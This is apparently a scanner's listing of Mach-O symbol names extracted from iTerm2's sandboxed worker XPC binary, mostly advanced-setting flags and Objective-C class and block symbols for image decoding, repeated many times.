Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_noSyncTurnOffMouseReportingOnHostChange
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_noSyncTurnOffMouseReportingOnHostChange
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_noSyncTurnOffFocusReportingOnHostChange
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_noSyncTurnOffFocusReportingOnHostChange
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_noSyncNeverAskAboutMouseReportingFrustration
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_noSyncNeverAskAboutMouseReportingFrustration
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_multiserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_multiserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___block_descriptor_40_e8_32s_e47_v24.?0."NSXPCConnection"8.?<v.?."iTermImage">16l
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___block_descriptor_40_e8_32s_e47_v24.?0."NSXPCConnection"8.?<v.?."iTermImage">16l
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___51+[iTermSandboxedWorkerClient performSynchronously:]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___51+[iTermSandboxedWorkerClient performSynchronously:]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___49+[iTermSandboxedWorkerClient imageFromSixelData:]_block_invoke_3
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___49+[iTermSandboxedWorkerClient imageFromSixelData:]_block_invoke_3
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___49+[iTermSandboxedWorkerClient imageFromSixelData:]_block_invoke_2
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___49+[iTermSandboxedWorkerClient imageFromSixelData:]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___49+[iTermSandboxedWorkerClient imageFromSixelData:]_block_invoke_2
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___44+[iTermSandboxedWorkerClient imageFromData:]_block_invoke_2
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___49+[iTermSandboxedWorkerClient imageFromSixelData:]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___44+[iTermSandboxedWorkerClient imageFromData:]_block_invoke.27
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___44+[iTermSandboxedWorkerClient imageFromData:]_block_invoke_2
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___44+[iTermSandboxedWorkerClient imageFromData:]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___44+[iTermSandboxedWorkerClient imageFromData:]_block_invoke.27
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___44+[iTermSandboxedWorkerClient imageFromData:]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___40+[iTermSandboxedWorkerClient connection]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___40+[iTermSandboxedWorkerClient connection]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_killJobsInServersOnQuit
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_killJobsInServersOnQuit
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _stbi_write_png_to_mem.mapping
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_vs16Supported
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_vs16Supported
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_typingClearsSelection
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_typingClearsSelection
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_tmuxVariableWindowSizesSupported
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_tmuxVariableWindowSizesSupported
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_synergyModifierRemappingEnabled
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_synergyModifierRemappingEnabled
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_supportREPCode
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_supportREPCode
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_supportDecsetMetaSendsEscape
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_supportDecsetMetaSendsEscape
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_sshURLsSupportPath
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_sshURLsSupportPath
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _objc_msgSendSuper2
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _objc_msgSend_stret
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _objc_msgSend
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _initialize.observer
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _initialize.observer
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _connection.sSandboxedWorkerConnection
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _connection.sSandboxedWorkerConnection
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___44+[iTermSandboxedWorkerClient imageFromData:]_block_invoke_2
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___44+[iTermSandboxedWorkerClient imageFromData:]_block_invoke_2
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___44+[iTermSandboxedWorkerClient imageFromData:]_block_invoke.27
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___44+[iTermSandboxedWorkerClient imageFromData:]_block_invoke.27
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___44+[iTermSandboxedWorkerClient imageFromData:]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___44+[iTermSandboxedWorkerClient imageFromData:]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___40+[iTermSandboxedWorkerClient connection]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___40+[iTermSandboxedWorkerClient connection]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_METACLASS_RO_$_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_METACLASS_RO_$_iTermSandboxedWorkerClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_METACLASS_RO_$_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_METACLASS_RO_$_iTermSandboxedWorkerClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_CLASS_RO_$_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_CLASS_RO_$_iTermSandboxedWorkerClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_CLASS_RO_$_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_CLASS_RO_$_iTermSandboxedWorkerClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_focusReportingEnabled
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_focusReportingEnabled
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_doubleReportScrollWheel
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_doubleReportScrollWheel
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_$_INSTANCE_VARIABLES_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_$_INSTANCE_VARIABLES_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_$_INSTANCE_METHODS_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: __OBJC_$_CLASS_METHODS_iTermSandboxedWorkerClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_METACLASS_$_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_METACLASS_$_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_METACLASS_$_iTermSandboxedWorkerClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_METACLASS_$_iTermSandboxedWorkerClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_IVAR_$_iTermUserDefaultsObserver._blocks
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_IVAR_$_iTermUserDefaultsObserver._blocks
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_IVAR_$_iTermUserDefaultsObserver._allKeysBlocks
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_IVAR_$_iTermUserDefaultsObserver._allKeysBlocks
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_CLASS_$_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_CLASS_$_iTermUserDefaultsObserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_CLASS_$_iTermSandboxedWorkerClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_CLASS_$_iTermSandboxedWorkerClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _OBJC_CLASS_$_NSXPCConnection
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_runJobsInServers
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_runJobsInServers
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_proportionalScrollWheelReporting
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_proportionalScrollWheelReporting
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_preferSpeedToFullLigatureSupport
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_preferSpeedToFullLigatureSupport
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_pathToFTP
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_pathToFTP
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_oscColorReport16Bits
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_oscColorReport16Bits
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_openFileOverridesSendText
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_openFileOverridesSendText
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_noSyncVariablesToReport
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_noSyncVariablesToReport
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_noSyncTurnOffMouseReportingOnHostChange
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_noSyncTurnOffMouseReportingOnHostChange
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_noSyncTurnOffFocusReportingOnHostChange
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_noSyncTurnOffFocusReportingOnHostChange
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_noSyncNeverAskAboutMouseReportingFrustration
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_noSyncNeverAskAboutMouseReportingFrustration
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _connection.sSandboxedWorkerConnection
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _connection.sSandboxedWorkerConnection
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___block_descriptor_40_e8_32s_e47_v24.?0."NSXPCConnection"8.?<v.?."iTermImage">16l
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___block_descriptor_40_e8_32s_e47_v24.?0."NSXPCConnection"8.?<v.?."iTermImage">16l
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___51+[iTermSandboxedWorkerClient performSynchronously:]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___51+[iTermSandboxedWorkerClient performSynchronously:]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___49+[iTermSandboxedWorkerClient imageFromSixelData:]_block_invoke_3
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___49+[iTermSandboxedWorkerClient imageFromSixelData:]_block_invoke_3
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___49+[iTermSandboxedWorkerClient imageFromSixelData:]_block_invoke_2
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___49+[iTermSandboxedWorkerClient imageFromSixelData:]_block_invoke_2
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___49+[iTermSandboxedWorkerClient imageFromSixelData:]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: ___49+[iTermSandboxedWorkerClient imageFromSixelData:]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_multiserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_multiserver
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_killJobsInServersOnQuit
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_killJobsInServersOnQuit
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _stbi_write_png_to_mem.mapping
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_vs16Supported
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_vs16Supported
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_typingClearsSelection
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_typingClearsSelection
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_tmuxVariableWindowSizesSupported
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_tmuxVariableWindowSizesSupported
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_synergyModifierRemappingEnabled
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_synergyModifierRemappingEnabled
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_supportREPCode
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_supportREPCode
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_supportDecsetMetaSendsEscape
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_supportDecsetMetaSendsEscape
